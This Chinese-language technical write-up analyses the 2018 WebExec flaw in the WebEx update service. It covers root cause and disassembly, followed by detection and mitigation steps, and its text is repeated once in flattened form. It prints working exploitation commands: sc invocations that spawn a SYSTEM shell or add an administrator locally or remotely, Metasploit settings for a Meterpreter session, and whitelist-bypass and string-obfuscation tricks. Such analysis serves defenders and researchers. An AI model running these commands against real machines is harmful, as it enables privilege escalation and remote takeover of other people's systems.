WebExec之技术纲要(权限提升&代码执行)
字数 1482 2025-08-27 12:33:42

WebExec漏洞技术分析与利用指南

漏洞概述

WebExec是WebEx客户端软件(WebexUpdateService)中的一个严重漏洞,允许任何登录到安装了WebEx的Windows系统的用户远程执行SYSTEM级命令。该漏洞同时具备本地权限提升和远程代码执行能力。

影响版本:截至2018年8月的最新客户端版本3211.0.1801.2200及之前多个版本

漏洞特点

  • 服务不监听任何端口但仍可远程利用
  • 本地普通用户可提升至SYSTEM权限
  • 域环境下任何域用户可远程利用
  • 攻击可绕过部分应用程序白名单限制

漏洞发现背景

该漏洞由安全研究人员在常规渗透测试中发现,最初目的是提升终端用户笔记本电脑上的本地权限,后来发现其远程利用潜力。

技术分析

漏洞根源

  1. 目录权限问题

    • C:\ProgramData\WebEx\WebEx\Applications\目录对所有用户可写
    • 安装的"webexservice"服务可由任何用户启动和停止
  2. 服务功能缺陷

    • 服务使用CreateProcessAsUserW以SYSTEM权限执行命令
    • 命令参数验证不严格,可被操控执行任意命令

服务逆向分析

通过IDA Pro分析webexservice.exe发现关键函数调用链:

  1. 进程创建机制

    .text:0040254E push [ebp+lpProcessInformation]
    .text:00402554 push [ebp+lpStartupInfo]
    .text:0040255A push 0 ; lpCurrentDirectory
    .text:0040255C push 0 ; lpEnvironment
    .text:0040255E push 0 ; dwCreationFlags
    .text:00402560 push 0 ; bInheritHandles
    .text:00402562 push 0 ; lpThreadAttributes
    .text:00402564 push 0 ; lpProcessAttributes
    .text:00402566 push [ebp+lpCommandLine] ; 关键参数
    .text:0040256C push 0 ; lpApplicationName
    .text:0040256E push [ebp+phNewToken] ; hToken (SYSTEM)
    .text:00402574 call ds:CreateProcessAsUserW
    
  2. 令牌获取过程

    • 服务搜索winlogon.exe进程
    • 复制其令牌用于创建新进程
    • 最终以SYSTEM权限执行
  3. 命令参数处理

    • 需要至少3个参数
    • 第二个参数必须为"software-update"
    • 第三个参数必须为"1"
    • 后续参数作为命令执行

利用方法

本地权限提升

  1. 基本利用

    sc start webexservice a software-update 1 wmic process call create "cmd.exe"
    

    这将打开SYSTEM权限的cmd.exe

  2. 添加管理员用户

    sc start webexservice a software-update 1 net localgroup administrators testuser /add
    

远程利用

  1. 基本远程命令执行

    sc \\目标IP start webexservice a software-update 1 命令
    
  2. Metasploit利用

    • 使用auxiliary/admin/smb/webexec_command模块执行单条命令
    • 使用exploit/windows/smb/webexec模块获取Meterpreter会话

Metasploit模块使用示例

  1. 单命令执行

    use auxiliary/admin/smb/webexec_command
    set RHOSTS 192.168.1.100
    set SMBUser testuser
    set SMBPass testuser
    set COMMAND calc
    exploit
    
  2. 完整利用获取会话

    use exploit/windows/smb/webexec
    set SMBUser testuser
    set SMBPass testuser
    set PAYLOAD windows/meterpreter/bind_tcp
    set RHOSTS 192.168.56.101
    exploit
    

漏洞检测

  1. 服务配置检查

    • 检查WebExService是否存在
    • 检查服务目录权限
  2. 补丁验证

    • 补丁后服务只运行WebEx签名的文件
    • 但仍可远程启动服务
  3. Nmap检测脚本

    • 尝试创建并启动测试服务
    • 根据响应判断漏洞状态

防御措施

  1. 官方补丁

    • WebEx于2018年10月3日发布补丁
    • 补丁强制验证可执行文件签名
  2. 临时缓解措施

    sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    

    此命令限制服务的远程和非交互式访问

  3. 其他建议

    • 监控WebExService异常启动
    • 限制普通用户对服务目录的写入权限
    • 实施网络分段限制SMB访问

技术细节补充

服务参数处理流程

  1. 参数数量检查(至少3个)
  2. 验证第二个参数为"software-update"
  3. 验证第三个参数可转换为数字("1")
  4. 后续参数拼接为命令执行

绕过限制的技巧

  1. 应用程序白名单绕过

    • 使用系统自带工具(wmic、net等)
    • 利用白名单内程序执行代码(如msbuild.exe)
  2. 命令拼接问题解决

    • 空字符串替换:""mid(Chr(65), 1, 0)
    • 字符串转义:"string"Chr(115)+Chr(116)+...

总结

WebExec漏洞展示了Windows服务中一类新型攻击面 - 不监听端口但仍可远程利用的服务。这类漏洞需要特别关注服务权限配置和参数验证机制。防御方面,应遵循最小权限原则,及时更新补丁,并监控关键服务的异常行为。

WebExec漏洞技术分析与利用指南 漏洞概述 WebExec是WebEx客户端软件(WebexUpdateService)中的一个严重漏洞,允许任何登录到安装了WebEx的Windows系统的用户远程执行SYSTEM级命令。该漏洞同时具备本地权限提升和远程代码执行能力。 影响版本 :截至2018年8月的最新客户端版本3211.0.1801.2200及之前多个版本 漏洞特点 : 服务不监听任何端口但仍可远程利用 本地普通用户可提升至SYSTEM权限 域环境下任何域用户可远程利用 攻击可绕过部分应用程序白名单限制 漏洞发现背景 该漏洞由安全研究人员在常规渗透测试中发现,最初目的是提升终端用户笔记本电脑上的本地权限,后来发现其远程利用潜力。 技术分析 漏洞根源 目录权限问题 : C:\ProgramData\WebEx\WebEx\Applications\ 目录对所有用户可写 安装的"webexservice"服务可由任何用户启动和停止 服务功能缺陷 : 服务使用 CreateProcessAsUserW 以SYSTEM权限执行命令 命令参数验证不严格,可被操控执行任意命令 服务逆向分析 通过IDA Pro分析 webexservice.exe 发现关键函数调用链: 进程创建机制 : 令牌获取过程 : 服务搜索 winlogon.exe 进程 复制其令牌用于创建新进程 最终以SYSTEM权限执行 命令参数处理 : 需要至少3个参数 第二个参数必须为"software-update" 第三个参数必须为"1" 后续参数作为命令执行 利用方法 本地权限提升 基本利用 : 这将打开SYSTEM权限的cmd.exe 添加管理员用户 : 远程利用 基本远程命令执行 : Metasploit利用 : 使用 auxiliary/admin/smb/webexec_command 模块执行单条命令 使用 exploit/windows/smb/webexec 模块获取Meterpreter会话 Metasploit模块使用示例 单命令执行 : 完整利用获取会话 : 漏洞检测 服务配置检查 : 检查WebExService是否存在 检查服务目录权限 补丁验证 : 补丁后服务只运行WebEx签名的文件 但仍可远程启动服务 Nmap检测脚本 : 尝试创建并启动测试服务 根据响应判断漏洞状态 防御措施 官方补丁 : WebEx于2018年10月3日发布补丁 补丁强制验证可执行文件签名 临时缓解措施 : 此命令限制服务的远程和非交互式访问 其他建议 : 监控WebExService异常启动 限制普通用户对服务目录的写入权限 实施网络分段限制SMB访问 技术细节补充 服务参数处理流程 参数数量检查(至少3个) 验证第二个参数为"software-update" 验证第三个参数可转换为数字("1") 后续参数拼接为命令执行 绕过限制的技巧 应用程序白名单绕过 : 使用系统自带工具(wmic、net等) 利用白名单内程序执行代码(如msbuild.exe) 命令拼接问题解决 : 空字符串替换: "" → mid(Chr(65), 1, 0) 字符串转义: "string" → Chr(115)+Chr(116)+... 总结 WebExec漏洞展示了Windows服务中一类新型攻击面 - 不监听端口但仍可远程利用的服务。这类漏洞需要特别关注服务权限配置和参数验证机制。防御方面,应遵循最小权限原则,及时更新补丁,并监控关键服务的异常行为。